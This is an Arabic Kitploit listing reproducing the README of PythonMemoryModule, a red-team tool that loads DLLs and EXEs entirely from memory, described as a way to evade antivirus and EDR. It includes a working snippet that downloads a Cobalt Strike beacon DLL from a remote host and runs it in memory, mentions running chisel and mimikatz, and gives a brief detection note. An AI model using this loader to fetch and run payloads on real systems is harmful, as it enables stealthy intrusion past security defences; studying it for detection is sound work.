Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
PythonMemoryModule — تنفيذ خالص بلغة بايثون لتقنية MemoryModule لتحميل مكتبات dll وملفات exe غير مُدارة بالكامل من الذاكرة | Kitploit
أدوات/GitHubGitHub/naksyn/pythonmemorymodule
أطر الاستغلالاختبار الاختراقالفريق الأحمر
GitHubnaksyn/pythonmemorymodule

PythonMemoryModule

تنفيذ خالص بلغة بايثون لتقنية MemoryModule لتحميل مكتبات dll وملفات exe غير مُدارة بالكامل من الذاكرة

عرض المستودع
34052منذ 2 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Supported Python versions Twitter

PythonMemoryModule

تنفيذ خالص بلغة Python لتقنية MemoryModule لتحميل ملف dll أو exe غير مُدار بالكامل من الذاكرة

immagine
صورة مولّدة بالذكاء الاصطناعي بعنوان "Python memory module" - hotpot.ai

ما هي

PythonMemoryModule هو نقل (porting) لتقنية MemoryModule باستخدام ctypes في Python، والتي نُشرت أصلاً بواسطة Joachim Bauch. يمكنه تحميل ملف dll أو exe غير مُدار باستخدام Python دون الحاجة إلى استخدام مكتبة خارجية (pyd)، ويدعم (بشكل جزئي) تمرير معاملات سطر الأوامر.

يستفيد من pefile لتحليل رؤوس PE، و PythonForWindows للوصول إلى معاملات العملية، و ctypes للأعمال الثقيلة. تم تصميم الأداة في الأصل لاستخدامها كوحدة من Pyramid لتوفير المراوغة ضد برامج مكافحة الفيروسات/EDR عن طريق تحميل حمولات dll/exe في python.exe بالكامل من الذاكرة، ولكن هناك حالات استخدام أخرى ممكنة (حماية الملكية الفكرية، تحميل pyds في الذاكرة، فروع لتقنيات أكثر تمويهاً) لذا قررت إنشاء مستودع مخصص.

لماذا يمكن أن يكون مفيدًا

  1. يسمح بشكل أساسي باستخدام تقنية MemoryModule بالكامل في لغة Python المفسرة، مما يتيح تحميل dll من مخزن مؤقت في الذاكرة باستخدام ملف python.exe الثنائي المُوقّع الأصلي دون الحاجة إلى إسقاط كود/مكتبات خارجية على القرص (مثل روابط pymemorymodule) التي قد يتم الإبلاغ عنها بواسطة برامج مكافحة الفيروسات/EDR أو تثير شك المستخدم.
  2. استخدام تقنية MemoryModule في أدوات التحميل بلغات مُجمّعة يتطلب تضمين كود MemoryModule داخل أدوات التحميل نفسها. يمكن تجنب ذلك باستخدام لغة Python المفسرة و PythonMemoryModule حيث يمكن تنفيذ الكود ديناميكيًا وفي الذاكرة.
  3. يمكنك الحصول على مستوى معين من حماية الملكية الفكرية عن طريق تنزيل وفك تشفير وتحميل dlls بشكل ديناميكي في الذاكرة والتي يجب إخفاؤها عن الأعين المتطفلة. ضع في اعتبارك أنه لا يزال من الممكن استعادة dlls من الذاكرة وهندستها عكسيًا، ولكن على الأقل سيتطلب ذلك مجهودًا إضافيًا من المهاجم.
  4. يمكنك تحميل حمولة dll غير مرحلية (stageless) دون تنفيذ حقن أو تنفيذ شيل كود. عملية التحميل تحاكي واجهة برمجة التطبيقات LoadLibrary الخاصة بويندوز (التي تأخذ مسارًا على القرص كمدخل) دون استدعائها فعليًا والعمل في الذاكرة.

كيفية الاستخدام

مثال رقم 1

في المثال التالي، يتم تنزيل dll (بيكن) غير مرحلي من Cobalt Strike (دون حفظه على القرص)، ثم تحميله في الذاكرة وتشغيله عن طريق استدعاء نقطة الدخول.

root@kitploit:~
import urllib.request
import ctypes
import pythonmemorymodule
request = urllib.request.Request('http://192.168.1.2/beacon.dll')
result = urllib.request.urlopen(request)
buf=result.read()
dll = pythonmemorymodule.MemoryModule(data=buf, debug=True)
startDll = dll.get_proc_addr('StartW')
assert startDll()
#dll.free_library()

ملاحظة: إذا كنت تستخدم التقسيم (staging) في ملف التعريف القابل للتشكيل الخاص بك، فلن يتمكن الـ dll من التحميل باستخدام LoadLibrary، وبالتالي لن تعمل MemoryModule.

مثال رقم 2

في المثال التالي نستخدم وظيفة تمرير سطر الأوامر لتنفيذ chisel في الذاكرة.

https://github.com/naksyn/PythonMemoryModule/assets/59816245/cdc91760-1897-450f-9770-1cd2377913c7

تمرير معاملات سطر الأوامر - دعم جزئي

تم تنفيذ هذه التقنية عن طريق التلاعب بمعامل Commandline في PEB أثناء وقت التشغيل. لن يعمل هذا مع كل ملف قابل للتنفيذ لأنه يعتمد على الوظائف المستخدمة لتمرير الوسائط.

بشكل عام، للحصول على تقنية تعمل عالميًا، سيكون من الضروري ربط (hook) الدوال GetCommandlineA و GetCommandlineW و __getmainargs و __wgetmainargs لأن التلاعب بـ PEB لن يغطي جميع الحالات، مزيد من التفاصيل هنا

خلال اختباراتي، وجدت أن mimikatz وعدة ثنائيات Go تعمل فقط عن طريق التلاعب بـ PEB، من ناحية أخرى، من المرجح أن تمرير سطر الأوامر عبر التلاعب بـ PEB وحده إلى ثنائيات mingw و VS لن يعمل.

كيفية اكتشافه

استخدام تقنية MemoryModule سيحترم في الغالب صلاحيات الأقسام الخاصة بـ DLL الهدف ويتجنب نهج RWX الصاخب. ومع ذلك، سيكون هناك private commit غير مدعوم بـ dll على القرص، وهذه علامة مميزة لـ MemoryModule.

تنزيل الأداة